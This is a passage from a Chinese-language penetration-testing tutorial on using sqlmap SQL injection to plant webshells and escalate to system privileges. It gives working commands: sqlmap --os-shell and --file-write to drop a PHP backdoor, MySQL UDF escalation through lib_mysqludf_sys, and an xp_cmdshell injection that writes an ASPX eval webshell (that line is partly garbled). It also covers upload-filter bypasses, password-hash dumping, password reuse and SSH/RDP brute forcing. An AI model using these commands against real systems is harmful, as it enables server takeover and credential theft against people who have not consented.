4.5 sqlmap注入获取webshell及系统权限研究
渗透思路千万条,只要有一条通往成功获取webshell的道路即可,所以不必一致纠结于必须要使用sqlmap
4.5.1 sqlmap获取webshell及提权常见命令
1. sqlmap常见获取webshell的相关命令
(1) MSSQL判断是否是DBA权限
--is-dba
(2) 数据库交互模式shell
--sql-shell
(3) 操作系统交互命令
--os-cmd=net user 这里一般是Windows的DOS命令或者Linux的终端命令
(4) 文件读取和写入命令
--file-read=RFILE 从后台数据库管理系统中读取文件
--file-write=WFILE 编辑后端数据库管理系统上的本地文件WFILE
--file-dest=DFILE 后端数据库管理系统写入文件的绝对路径
(5) 数据库权限提升
--priv-esc 数据库进程用户权限提升
(6) meterpreter提权(作者说实际测试并未成功过,可以当作一个思路来记录)
--os-pwn 获取一个OOB shell , meterpreter或者VNC
--os-smbrelay 一键获取一个OOB shell ,meterpreter或者VNC
--os-bof 存储过程缓冲区溢出利用
(7) 获取数据库root账号密码及其他账号密码,sa权限用户获取当前MSSQL下用户密码
--passwords 枚举数据库管理系统用户密码哈希值,程序会自动对密码进行破解,破解不了会列出hash让你自己破解
2. MySQL数据库直接连接提权
sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --os-shell
3. MySQL数据库sql-shell下UDF提权
(1) 连接数据库
sqlmap.py -d mysql://root:root@xx.xx.xx.xx:3306/test --sql-shell
(2) 查看版本
select @@version;
(3) 查看插件目录
select @@plugin_dir;
(4) 操作sqlmap上传lib_mysqludf_sys到MySQL插件目录
sqlmap.py -d mysql:root:root@xx.xx.xx.xx:3306/test --file-write=D:/tmp/lib_mysqludf_sys.dll --file-dest=D::\phpstudy\bin\mysql\libplugin\lib_mysqludf_sys.dll
(5) 创建sys_exec函数
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
(6) 创建sys_eval函数
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll'
(7) 执行命令
select sys_eval('ver');
select sys_eval('whoami');
select sys_eval('net user');
4. MSSQL直连数据库
1. 安装所需要的模块
pip install pymssql
pip install pyodbc
apt-get install unixodbc -y
按照上述安装,还是不成功,大家可以自己测试下,连接MSSQL数据库Windows下好多好用的连接工具
2. 直连获取shell
sqlmap -d mssql://sa:sa@192.168.91.131:1433/master --os-shell
4.5.2 获取webshell或shell条件
1. PHP+MySQL类型网站获取webshell
(1) MySQL root账号权限,即配置MySQL连接的账号为root账号,不是root账号具备root权限也可
(2) GPC配置关闭,能使用单引号
(3) 有网站的绝对路径,且具备可以在文件夹写入文件的权限
(4) 没有配置secure-file-priv属性
2. MSSQL+ASP/ASP.net类型网站获取webshell条件
(1) 数据库用户是sa
(2) 能够创建xp_cmdshell
(3) 知道真实路径
(4) 可以通过echo命令生成shell
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> C: oolsfx.aspx';--
4.5.3 获取webshell权限思路及命令
1. PHP类型网站获取webshell权限思路
(1) 获取os-shell
sqlmap.py -u "http://www.xxx.com/index.php?id=2" --os-shell
(2) 选择4PHP类型的语言
(3) 物理路径的选择
普通路径,指定路径,指定字典文件进行暴力破解,暴力搜索地址
(4) 获取webshell
在sqlmap中无法直接获取webshell,如果--os-shell整个命令执行完成,就会上传两个文件,sqlmap会给你提示上传的文件名,一个文件是后门文件,可以通过参数传递命令直接执行shell,另一个文件是文件上传功能页面,访问这个页面可以直接上传文件
(5) PHP获取webshell难点
在整个过程中获取网站的真实物理路径是最重要的,一般可以通过phpinfo函数,测试页面,及报错信息,搜素引擎,目录爆破的方式来获取网站的真实物理路径,如果获取到了管理员的账号,能够登录后台,如果后台有一些探针功能或者是系统运行情况的页面,那么也可以获取真实的物理路径,如果实在无法获取那只能暴力猜解或者社工等其他方式。
2. 直接写入webshell到网站
sqlmap.py -u "http://www.xxx.com/index.php?id=3" --file-write /opt/bmfx.php --file-dest /var/www/html/shell.php
bmfx.php是攻击者本地文件,shell.php是上传到目标站点的文件名称
3. os-shell下载文件执行
4. 通过sqlmap连接MySQL获取shell
5. 账号登录管理后台,寻找上传点
(1) 后台直接上传webshell
(2) 抓包构建绕过防护上传webshell
(3) IIS 6 畸形文件漏洞绕过,即上传1.asp;jpg图片一句话
(4) IIS 7 CGI解析漏洞,上传webshell图片文件,访问http://www.xxx.com/1.jpg/1.php
(5) FCK文件两次上传获取webshell
(6) 其他上传漏洞获取webshell
4.5.4 获取system权限思路
1. MSSQL和MySQL数据库获取system权限
(1) 生成系统信息
systeminfo > bmfx.txt
(2) 使用windows-exploit-suggester.py 检查是否存在未打补丁的漏洞
(3) 找到漏洞对应exp直接提权
2. 直接获取system权限
有些服务器是直接使用高权限启动服务,可以通过sqlmap直接获取系统权限
3. 社工提权
有些root/sa账号对应的数据库密码就是系统Windows/Linux系统的管理员密码
4. 密码账号暴力破解
通过前面获取到系统准确的账号信息,可以尝试SSH/RDP账号的暴力破解